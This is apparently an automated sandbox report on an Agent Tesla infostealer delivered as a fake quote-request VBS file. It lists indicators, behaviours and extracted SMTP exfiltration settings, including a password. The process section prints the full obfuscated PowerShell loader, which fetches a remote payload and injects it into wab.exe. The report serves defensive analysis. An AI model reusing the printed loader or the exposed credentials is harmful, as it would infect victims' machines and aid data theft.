Analysis
-
max time kernel
146s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 07:12
Static task
static1
Behavioral task
behavioral1
Sample
RFQ20240327_Lista comercial_pdf.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
RFQ20240327_Lista comercial_pdf.vbs
Resource
win10v2004-20240226-en
General
-
Target
RFQ20240327_Lista comercial_pdf.vbs
-
Size
38KB
-
MD5
2e0c2134e45ab06b68e1f2c9eaac7890
-
SHA1
24d2aa2cb1cc82cbde2f934d49aeedf47c6ba74d
-
SHA256
de7041f25e9f3a988a90b0fdf1d8e90aa8a6896c594eacba0b0fa1b81eca90dd
-
SHA512
84d21260a0da041dd391c725b6e9dd96c49dbc4fc9f30303a81e24f4a459b4df34937c608cbbcf32ecfac96983308a4ba91e80c390399d91ea8dd3249b0c4c24
-
SSDEEP
384:u0ogBz3UIWz0AujGKoCJmMuttrW6ku83V3aiHw2oaXw4Crb8Na/AZrzbtzocLCKV:u0ogBz9WAZGc8NnKwiQQS3AhHtocL3F
Malware Config
Extracted
Protocol: smtp- Host:
mail.ispartamensucat.com.tr - Port:
587 - Username:
impex@ispartamensucat.com.tr - Password:
Qaz!'2020,
Extracted
agenttesla
Protocol: smtp- Host:
mail.ispartamensucat.com.tr - Port:
587 - Username:
impex@ispartamensucat.com.tr - Password:
Qaz!'2020, - Email To:
nonewthing9@gmail.com
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 59 api.ipify.org 60 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 908 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 3636 powershell.exe 908 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3636 set thread context of 908 3636 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 4252 powershell.exe 4252 powershell.exe 3636 powershell.exe 3636 powershell.exe 3636 powershell.exe 3636 powershell.exe 908 wab.exe 908 wab.exe 908 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3636 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 4252 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeDebugPrivilege 908 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 552 wrote to memory of 4252 552 WScript.exe powershell.exe PID 552 wrote to memory of 4252 552 WScript.exe powershell.exe PID 4252 wrote to memory of 2340 4252 powershell.exe cmd.exe PID 4252 wrote to memory of 2340 4252 powershell.exe cmd.exe PID 4252 wrote to memory of 3636 4252 powershell.exe powershell.exe PID 4252 wrote to memory of 3636 4252 powershell.exe powershell.exe PID 4252 wrote to memory of 3636 4252 powershell.exe powershell.exe PID 3636 wrote to memory of 748 3636 powershell.exe cmd.exe PID 3636 wrote to memory of 748 3636 powershell.exe cmd.exe PID 3636 wrote to memory of 748 3636 powershell.exe cmd.exe PID 3636 wrote to memory of 908 3636 powershell.exe wab.exe PID 3636 wrote to memory of 908 3636 powershell.exe wab.exe PID 3636 wrote to memory of 908 3636 powershell.exe wab.exe PID 3636 wrote to memory of 908 3636 powershell.exe wab.exe PID 3636 wrote to memory of 908 3636 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ20240327_Lista comercial_pdf.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Crenellated Tovariches Peiktha Jobbedes Tillempe Frynse #>;$Unlaces=(cmd /c set /A 115^^0);Function Gaadefuldere ([String]$Svulstigeres){$Remorselessly=[char][int]$Unlaces+'ubstring';$Spheterize=8;$skrmmiljet=yobbo($Svulstigeres);For($Uudvikledes66=7; $Uudvikledes66 -lt $skrmmiljet; $Uudvikledes66+=$Spheterize){$tisiphone=$Svulstigeres.$Remorselessly.Invoke($Uudvikledes66, 1);$Spaltebeskyttelse=$Spaltebeskyttelse+$tisiphone;}$Spaltebeskyttelse;}function Subsalt ($Tsatlee){. ($Vandlbslov) ($Tsatlee);}function yobbo ([String]$Opvis){$Tulre=$Opvis.Length-1;$Tulre;}$Presentimental=Gaadefuldere ' KlorenTKnowledrS,blimeaSavningn Indlevs FetichfBrevpake vedhefrTam aunrHesseldiBuddlednSprregrgGodfrey ';$Transparente187=Gaadefuldere 'Firdobbh In acct argoletSnotnsepHamam.lsRimes,e:Misansw/Tranqui/UdplacedDigressr Contaiispon.ibv PaleoleBrnesyg.Unbev lgMeasureoSyngespoSpydk,sgAftllinl Mi coneEg,mani. FejlmecFornuftoSund edmVildska/ eflorauOverfavcChlorme?AbstrakeresbevixRechartp Kl reco Taarevr boarsttFiatsfa=Algebr.dHypotheoVorpalawSk.ndalnSmagsd.ldimeranoD.mpmasaAstrolodOmtaag &NonnathiTildragdAkkorda=Ddkedel1PaatageN ,lastiU vertrtWAgnostiuKilomety.olliesQStuccoek Sc,atc6Pic.mnuhBra.gliHcent ifpKommuaaIlmm ludrProgramTCloisonZBagg.arsBa.mandOPhosp.oFretsre -Kl.gere8Svampek2Unco prjSyrntil0Delta,e8 BestikBKroketko Ja berCD,ormanLVandfor5 ExpensuVvensdeiAfvalmeP Mainta ';$Vandlbslov=Gaadefuldere 'Germ.niiKamme,seVarsomsxKonsti, ';$Displaytype=Gaadefuldere 'Fljtetn$ NykkengTandbrslUdfrligoUdviklib pwaysaEnaari,lDescr b: Aabni DYttriume BesmoklCorre,pb Pej koa SidesarKr,santtToleran Aftenkj=Sta,ddr Racon sSVirginitCr.mforaTriumvirSepp oitNonfee,-ServiceBBakkanaiAdamanctBumledes.ucoidaTTopon,rrElskovpaProgramnMenuemns,farligf vergejeAsphyxyrBhutans Ideolog- PodderS Sche,co Ge,rvlu dhamrrSammendcS ndruneAvarici Stenten$HaolesaTSterietrPyrosc,aLymphannAnten.esSty.idipMeltabiaJor,refrmodemkoeEksportn hrombitCi,kusfeForskni1Etaarig8Aptitud7Fr,nskm Putame- KorrigDTastineeMatriars.ransmit tinkiniSymbiotn Skal,eaSupersptPigeon iFluorbeoDadup nnSold ag Rovere$ RensembCuartilrCedr.csi SexologOpp steaLandi,gdAandsfre.onempir Piftesn ukkendealmanaksSpermat ';Subsalt (Gaadefuldere 'Infirmi$Kagerulg TunisilVnneslioCentrifb Toere.aKrftknulFashion:Phenin.bFrontberNoncommiTeachebgDisco ta,ollagid uslinieSirbuskrStryg fnCisterneSknsmndsArm.nic=Motori,$Machinee Or,olunLon,podvTungsin:T.aerfoaMellsmapTrre,nopNerite,d Krav paSympatit Cha piaKell,sm ') ;Subsalt (Gaadefuldere 'TykpandICrizzelm Dendrop Stren.o AngiocrUnflexitUpswe p- MandarMStol.mao v,lgardSurdejeu,rkiball EnhydreOplse,e PueriliBMaryasiiSystemvtAbettors.ygerkuTTrac,marTristeraVictorinfor.ftesPrislisfNei.hboeP.eaffirHalvaks ') ;$brigadernes=$brigadernes+'\Ovens.Buk' ;Subsalt (Gaadefuldere ' Ta tat$ SjlerigBaledcll Bulderobonelesb Drnle,aTelexerlSkovrid: Emb stUPsycoannSlo.coast.iodone SkggesrIndent,aQualitipAmbarelhPharyngiKkkenpecEntitymaAnmeldelSalat,r=Orbated(AnticodT BrnehaeHv,dvinsTrfsi rtroustst-RejsesnPAlamodeaFeltstrtHabilithRe post Wallpie$Under abPillarlr Atommii ud tesgA findeaFlavonodTodelineCastlewrWha parnArb steeU gdomssStrikke)Zetst l ') ;while (-not $Unseraphical) {Subsalt (Gaadefuldere ' tryptaIKingsqufGadeare Opspore(akkorde$Sinu siDa nunciePol.inilServerebMundha.aBru,yierforvandt iltrkk.Extr,gaJMedicinoFortllebGennemkSRevivictChoicieaI jektitSukkerse.ndomes Refl.ct- SmalfieForsk.iqEsc,pin Spotter$SagamorP .fbladr ParticePlasticsBlokopdeE itionnStvningt,uterpeiHolocepmInterloeJugalunnCaliolotUnrefu a ,crodsl Phenac) Glycer .ormula{Phytol S BasotetJes,itia xcerptrDekomprtPlotter-Cu.idsbSGdeudkrlepitapheCastilieDklistepMyxopod Fremhol1 Margin}BilatereComputelJagtssos Bromize,onvivi{TraversSProgramtmuscicoaVil,farrStivkratReap,ea-MedundeSPupaefjlUnimol eTilletiegradualpMmfdmir su.rana1 Tramme; Ba.bitSPegef nuEndeligbInte.ndsKl.vrinaRosinoll Deri,atTonjese Cal.uli$PandabjDSchungii Pol pasForgj rpTelexe.lLeasendaE ucatiytommelftSecreteyMaerkedpUndev leSalamit}Tintabl ');Subsalt (Gaadefuldere 'Vindkra$ Dreyf gHyletonl Skjaldo,oktorgb IndyalaSkjtel.lRislemt:TaimimaUDatauhenDoruckbsSub.isteMasturbrSe dedeaSolbrsap Athe,lhFygesaniSidemancGuldplaaVa,dbyglL,cheni=Cotorob(TemalsnTSynaalmeLadyhoosBestallt Recusi-WorstunP TelefoaForchastRenovathFyldni Contin$DameskrbSelvdisr MaldeviCod.ficg SpookiaPe dunldd aggleeFaldendrRetoldfnKrabberePascalrsLeiophy) Passiv ') ;}Subsalt (Gaadefuldere 'Recauti$RedipsfgCronebelBetal,noRembourbSisefaraRibosomlTurricu:T ldanoGTelescooSagolikdEmotio.kAlk,heseIrresisnLretideds otprieRestrailAndrogysNeocomieBosc nesSandmenmFdi.semySubaquanUnrecogdPachaknitypho,mg FunnymhUnsangueCleaveld,ftrapneUnmeasurSemipernFarvemeeKommuni Mate ia=B,boels onforGBogusaleValrapptBrachia-BrierneCGuvernaoCharlatn A,bifitPistille ebrejdn Kuglelt Inter. Skralds$Ban.forb .ightyrButikkeiMotionlgC,erisha BastardCryptereM crosprkommatenHav.ckieApot,opsVederla ');Subsalt (Gaadefuldere ' Skolem$ Allesjg Oplev lchortleotilhuggb stligeaHa vardl Qualmi:IskoldeD admiur Ketapae F.condjTrfiskeePortugukFunktionWendalla Del,afp Falderslsgnger Egenart=Postver Ovoelli[ HmorroSVurderiyMetodebsEmbra gtHalvhjee Faststm Semifl.Sanja,gC Permano CinnamnConsol.vTrskoeneAnt,nomrNunshiptOpbruds].inligt:I loyal:Kno,pieF Besh,urHoedownoHanrejem AndreaB TrefafaFarinacsSaprofyeRegionp6Spilik 4ForeseeSBenvarmtLiminarrMidstreiN nindenbadegstgBygning(,omials$SneblinGRetrogro Forek.d Transpk MattereOppositn VildfrdstuefugeT.eocollVrvleves FejlsteLarmendsEnjoy,nmCi.eastyPen,elsnSmi,ighdSala,emiFiktiong StormhhUndervieBetweendunenriceAnalyserPersonanNonhazae Bryder)Gennems ');Subsalt (Gaadefuldere 'Yappfly$Uldentpgtryghedl,ochairoUnlawlib opfrinakapel,elamulasf:Du.hgerK TilfluaDrosc,esUnshrews in ulteHudgennrfaglrernafskyd eTorp do Irrec.a=Foderbl aftestn[floriscS Sub.iayKalkvrksKr,gstjtDelphineUnwritem.iceude.TenderiTHearsdieNonplu.xLutheratFlerval.FoundatEGevandtnSpejlincMinarinoHo,nkecdExploriiProjektnSteganogKlingen]brneche:kurumba: ndstifA Fun,stSKivuborC oplrkeIDiminutI Nimro,.,roduktGsamdelee Honorit.skimoeS Platt.t InquisrCasketoiTransisnT,blemogV rdens(Elgkerv$NationaDSindbilrCiv lbeeRepr,dujAnellame Unboldk Eosinlnaplom eaPlimmoupEtrusk s Afsnri)He dric ');Subsalt (Gaadefuldere ' Exig.b$BsseskugS,ayabllRevil mo Kr,sembSpireevaPrgninglCodomin:NabsunsUOpna elnLyg,emnaDuch,ssl Casscal GodskeaelucubryAstragaa evakuebPantefolS.ibbruyMishme =Cataton$AnsttelKRo hetsa .nstersToleransEskimoleEmneomrrT,innesnHandbareEtagesn. DirknisForehamu SprogfbAmowtbesTygningtDy amizrratoloriDampednnGennemfg Adonis(Di,iaap3subvers5Inscrip0dire,yo3Typefou6Misorga6 Thousa, Samd i3Smr ebr1Tegnflg5 Unplac6T.gegan4 Disgra)Interfi ');Subsalt $Unallayably;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Crenellated Tovariches Peiktha Jobbedes Tillempe Frynse #>;$Unlaces=(cmd /c set /A 115^^0);Function Gaadefuldere ([String]$Svulstigeres){$Remorselessly=[char][int]$Unlaces+'ubstring';$Spheterize=8;$skrmmiljet=yobbo($Svulstigeres);For($Uudvikledes66=7; $Uudvikledes66 -lt $skrmmiljet; $Uudvikledes66+=$Spheterize){$tisiphone=$Svulstigeres.$Remorselessly.Invoke($Uudvikledes66, 1);$Spaltebeskyttelse=$Spaltebeskyttelse+$tisiphone;}$Spaltebeskyttelse;}function Subsalt ($Tsatlee){. ($Vandlbslov) ($Tsatlee);}function yobbo ([String]$Opvis){$Tulre=$Opvis.Length-1;$Tulre;}$Presentimental=Gaadefuldere ' KlorenTKnowledrS,blimeaSavningn Indlevs FetichfBrevpake vedhefrTam aunrHesseldiBuddlednSprregrgGodfrey ';$Transparente187=Gaadefuldere 'Firdobbh In acct argoletSnotnsepHamam.lsRimes,e:Misansw/Tranqui/UdplacedDigressr Contaiispon.ibv PaleoleBrnesyg.Unbev lgMeasureoSyngespoSpydk,sgAftllinl Mi coneEg,mani. FejlmecFornuftoSund edmVildska/ eflorauOverfavcChlorme?AbstrakeresbevixRechartp Kl reco Taarevr boarsttFiatsfa=Algebr.dHypotheoVorpalawSk.ndalnSmagsd.ldimeranoD.mpmasaAstrolodOmtaag &NonnathiTildragdAkkorda=Ddkedel1PaatageN ,lastiU vertrtWAgnostiuKilomety.olliesQStuccoek Sc,atc6Pic.mnuhBra.gliHcent ifpKommuaaIlmm ludrProgramTCloisonZBagg.arsBa.mandOPhosp.oFretsre -Kl.gere8Svampek2Unco prjSyrntil0Delta,e8 BestikBKroketko Ja berCD,ormanLVandfor5 ExpensuVvensdeiAfvalmeP Mainta ';$Vandlbslov=Gaadefuldere 'Germ.niiKamme,seVarsomsxKonsti, ';$Displaytype=Gaadefuldere 'Fljtetn$ NykkengTandbrslUdfrligoUdviklib pwaysaEnaari,lDescr b: Aabni DYttriume BesmoklCorre,pb Pej koa SidesarKr,santtToleran Aftenkj=Sta,ddr Racon sSVirginitCr.mforaTriumvirSepp oitNonfee,-ServiceBBakkanaiAdamanctBumledes.ucoidaTTopon,rrElskovpaProgramnMenuemns,farligf vergejeAsphyxyrBhutans Ideolog- PodderS Sche,co Ge,rvlu dhamrrSammendcS ndruneAvarici Stenten$HaolesaTSterietrPyrosc,aLymphannAnten.esSty.idipMeltabiaJor,refrmodemkoeEksportn hrombitCi,kusfeForskni1Etaarig8Aptitud7Fr,nskm Putame- KorrigDTastineeMatriars.ransmit tinkiniSymbiotn Skal,eaSupersptPigeon iFluorbeoDadup nnSold ag Rovere$ RensembCuartilrCedr.csi SexologOpp steaLandi,gdAandsfre.onempir Piftesn ukkendealmanaksSpermat ';Subsalt (Gaadefuldere 'Infirmi$Kagerulg TunisilVnneslioCentrifb Toere.aKrftknulFashion:Phenin.bFrontberNoncommiTeachebgDisco ta,ollagid uslinieSirbuskrStryg fnCisterneSknsmndsArm.nic=Motori,$Machinee Or,olunLon,podvTungsin:T.aerfoaMellsmapTrre,nopNerite,d Krav paSympatit Cha piaKell,sm ') ;Subsalt (Gaadefuldere 'TykpandICrizzelm Dendrop Stren.o AngiocrUnflexitUpswe p- MandarMStol.mao v,lgardSurdejeu,rkiball EnhydreOplse,e PueriliBMaryasiiSystemvtAbettors.ygerkuTTrac,marTristeraVictorinfor.ftesPrislisfNei.hboeP.eaffirHalvaks ') ;$brigadernes=$brigadernes+'\Ovens.Buk' ;Subsalt (Gaadefuldere ' Ta tat$ SjlerigBaledcll Bulderobonelesb Drnle,aTelexerlSkovrid: Emb stUPsycoannSlo.coast.iodone SkggesrIndent,aQualitipAmbarelhPharyngiKkkenpecEntitymaAnmeldelSalat,r=Orbated(AnticodT BrnehaeHv,dvinsTrfsi rtroustst-RejsesnPAlamodeaFeltstrtHabilithRe post Wallpie$Under abPillarlr Atommii ud tesgA findeaFlavonodTodelineCastlewrWha parnArb steeU gdomssStrikke)Zetst l ') ;while (-not $Unseraphical) {Subsalt (Gaadefuldere ' tryptaIKingsqufGadeare Opspore(akkorde$Sinu siDa nunciePol.inilServerebMundha.aBru,yierforvandt iltrkk.Extr,gaJMedicinoFortllebGennemkSRevivictChoicieaI jektitSukkerse.ndomes Refl.ct- SmalfieForsk.iqEsc,pin Spotter$SagamorP .fbladr ParticePlasticsBlokopdeE itionnStvningt,uterpeiHolocepmInterloeJugalunnCaliolotUnrefu a ,crodsl Phenac) Glycer .ormula{Phytol S BasotetJes,itia xcerptrDekomprtPlotter-Cu.idsbSGdeudkrlepitapheCastilieDklistepMyxopod Fremhol1 Margin}BilatereComputelJagtssos Bromize,onvivi{TraversSProgramtmuscicoaVil,farrStivkratReap,ea-MedundeSPupaefjlUnimol eTilletiegradualpMmfdmir su.rana1 Tramme; Ba.bitSPegef nuEndeligbInte.ndsKl.vrinaRosinoll Deri,atTonjese Cal.uli$PandabjDSchungii Pol pasForgj rpTelexe.lLeasendaE ucatiytommelftSecreteyMaerkedpUndev leSalamit}Tintabl ');Subsalt (Gaadefuldere 'Vindkra$ Dreyf gHyletonl Skjaldo,oktorgb IndyalaSkjtel.lRislemt:TaimimaUDatauhenDoruckbsSub.isteMasturbrSe dedeaSolbrsap Athe,lhFygesaniSidemancGuldplaaVa,dbyglL,cheni=Cotorob(TemalsnTSynaalmeLadyhoosBestallt Recusi-WorstunP TelefoaForchastRenovathFyldni Contin$DameskrbSelvdisr MaldeviCod.ficg SpookiaPe dunldd aggleeFaldendrRetoldfnKrabberePascalrsLeiophy) Passiv ') ;}Subsalt (Gaadefuldere 'Recauti$RedipsfgCronebelBetal,noRembourbSisefaraRibosomlTurricu:T ldanoGTelescooSagolikdEmotio.kAlk,heseIrresisnLretideds otprieRestrailAndrogysNeocomieBosc nesSandmenmFdi.semySubaquanUnrecogdPachaknitypho,mg FunnymhUnsangueCleaveld,ftrapneUnmeasurSemipernFarvemeeKommuni Mate ia=B,boels onforGBogusaleValrapptBrachia-BrierneCGuvernaoCharlatn A,bifitPistille ebrejdn Kuglelt Inter. Skralds$Ban.forb .ightyrButikkeiMotionlgC,erisha BastardCryptereM crosprkommatenHav.ckieApot,opsVederla ');Subsalt (Gaadefuldere ' Skolem$ Allesjg Oplev lchortleotilhuggb stligeaHa vardl Qualmi:IskoldeD admiur Ketapae F.condjTrfiskeePortugukFunktionWendalla Del,afp Falderslsgnger Egenart=Postver Ovoelli[ HmorroSVurderiyMetodebsEmbra gtHalvhjee Faststm Semifl.Sanja,gC Permano CinnamnConsol.vTrskoeneAnt,nomrNunshiptOpbruds].inligt:I loyal:Kno,pieF Besh,urHoedownoHanrejem AndreaB TrefafaFarinacsSaprofyeRegionp6Spilik 4ForeseeSBenvarmtLiminarrMidstreiN nindenbadegstgBygning(,omials$SneblinGRetrogro Forek.d Transpk MattereOppositn VildfrdstuefugeT.eocollVrvleves FejlsteLarmendsEnjoy,nmCi.eastyPen,elsnSmi,ighdSala,emiFiktiong StormhhUndervieBetweendunenriceAnalyserPersonanNonhazae Bryder)Gennems ');Subsalt (Gaadefuldere 'Yappfly$Uldentpgtryghedl,ochairoUnlawlib opfrinakapel,elamulasf:Du.hgerK TilfluaDrosc,esUnshrews in ulteHudgennrfaglrernafskyd eTorp do Irrec.a=Foderbl aftestn[floriscS Sub.iayKalkvrksKr,gstjtDelphineUnwritem.iceude.TenderiTHearsdieNonplu.xLutheratFlerval.FoundatEGevandtnSpejlincMinarinoHo,nkecdExploriiProjektnSteganogKlingen]brneche:kurumba: ndstifA Fun,stSKivuborC oplrkeIDiminutI Nimro,.,roduktGsamdelee Honorit.skimoeS Platt.t InquisrCasketoiTransisnT,blemogV rdens(Elgkerv$NationaDSindbilrCiv lbeeRepr,dujAnellame Unboldk Eosinlnaplom eaPlimmoupEtrusk s Afsnri)He dric ');Subsalt (Gaadefuldere ' Exig.b$BsseskugS,ayabllRevil mo Kr,sembSpireevaPrgninglCodomin:NabsunsUOpna elnLyg,emnaDuch,ssl Casscal GodskeaelucubryAstragaa evakuebPantefolS.ibbruyMishme =Cataton$AnsttelKRo hetsa .nstersToleransEskimoleEmneomrrT,innesnHandbareEtagesn. DirknisForehamu SprogfbAmowtbesTygningtDy amizrratoloriDampednnGennemfg Adonis(Di,iaap3subvers5Inscrip0dire,yo3Typefou6Misorga6 Thousa, Samd i3Smr ebr1Tegnflg5 Unplac6T.gegan4 Disgra)Interfi ');Subsalt $Unallayably;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3600 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btnjoc3u.u1s.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/908-79-0x0000000024FD0000-0x000000002506C000-memory.dmpFilesize
624KB
-
memory/908-86-0x0000000024AD0000-0x0000000024AE0000-memory.dmpFilesize
64KB
-
memory/908-84-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/908-82-0x0000000024FB0000-0x0000000024FBA000-memory.dmpFilesize
40KB
-
memory/908-81-0x00000000256E0000-0x0000000025772000-memory.dmpFilesize
584KB
-
memory/908-55-0x0000000077D08000-0x0000000077D09000-memory.dmpFilesize
4KB
-
memory/908-78-0x0000000024EE0000-0x0000000024F30000-memory.dmpFilesize
320KB
-
memory/908-77-0x0000000024AD0000-0x0000000024AE0000-memory.dmpFilesize
64KB
-
memory/908-73-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/908-72-0x0000000000A00000-0x0000000000A42000-memory.dmpFilesize
264KB
-
memory/908-70-0x0000000077C81000-0x0000000077DA1000-memory.dmpFilesize
1.1MB
-
memory/908-69-0x0000000000A00000-0x0000000001C54000-memory.dmpFilesize
18.3MB
-
memory/908-56-0x0000000077C81000-0x0000000077DA1000-memory.dmpFilesize
1.1MB
-
memory/3636-21-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-50-0x0000000009280000-0x000000000E267000-memory.dmpFilesize
79.9MB
-
memory/3636-24-0x0000000005B40000-0x0000000005BA6000-memory.dmpFilesize
408KB
-
memory/3636-25-0x0000000005C20000-0x0000000005C86000-memory.dmpFilesize
408KB
-
memory/3636-35-0x0000000006460000-0x00000000067B4000-memory.dmpFilesize
3.3MB
-
memory/3636-36-0x00000000068A0000-0x00000000068BE000-memory.dmpFilesize
120KB
-
memory/3636-37-0x00000000068D0000-0x000000000691C000-memory.dmpFilesize
304KB
-
memory/3636-38-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-39-0x00000000080A0000-0x000000000871A000-memory.dmpFilesize
6.5MB
-
memory/3636-40-0x0000000007A20000-0x0000000007A3A000-memory.dmpFilesize
104KB
-
memory/3636-41-0x0000000007B00000-0x0000000007B96000-memory.dmpFilesize
600KB
-
memory/3636-42-0x0000000007AA0000-0x0000000007AC2000-memory.dmpFilesize
136KB
-
memory/3636-43-0x0000000008CD0000-0x0000000009274000-memory.dmpFilesize
5.6MB
-
memory/3636-44-0x0000000007AD0000-0x0000000007AF2000-memory.dmpFilesize
136KB
-
memory/3636-45-0x0000000007D80000-0x0000000007D94000-memory.dmpFilesize
80KB
-
memory/3636-46-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/3636-47-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-48-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-49-0x0000000008030000-0x0000000008031000-memory.dmpFilesize
4KB
-
memory/3636-23-0x00000000058A0000-0x00000000058C2000-memory.dmpFilesize
136KB
-
memory/3636-52-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-53-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-54-0x0000000077C81000-0x0000000077DA1000-memory.dmpFilesize
1.1MB
-
memory/3636-22-0x0000000005CA0000-0x00000000062C8000-memory.dmpFilesize
6.2MB
-
memory/3636-18-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/3636-20-0x0000000002F70000-0x0000000002FA6000-memory.dmpFilesize
216KB
-
memory/3636-19-0x0000000005660000-0x0000000005670000-memory.dmpFilesize
64KB
-
memory/3636-71-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/4252-6-0x0000016355D90000-0x0000016355DB2000-memory.dmpFilesize
136KB
-
memory/4252-17-0x0000016353D10000-0x0000016353D20000-memory.dmpFilesize
64KB
-
memory/4252-76-0x00007FFAE2BE0000-0x00007FFAE36A1000-memory.dmpFilesize
10.8MB
-
memory/4252-16-0x0000016353D10000-0x0000016353D20000-memory.dmpFilesize
64KB
-
memory/4252-15-0x00007FFAE2BE0000-0x00007FFAE36A1000-memory.dmpFilesize
10.8MB
-
memory/4252-14-0x00000163562D0000-0x00000163562E4000-memory.dmpFilesize
80KB
-
memory/4252-13-0x0000016356280000-0x00000163562A6000-memory.dmpFilesize
152KB
-
memory/4252-11-0x0000016353D10000-0x0000016353D20000-memory.dmpFilesize
64KB
-
memory/4252-12-0x0000016353D10000-0x0000016353D20000-memory.dmpFilesize
64KB
-
memory/4252-10-0x00007FFAE2BE0000-0x00007FFAE36A1000-memory.dmpFilesize
10.8MB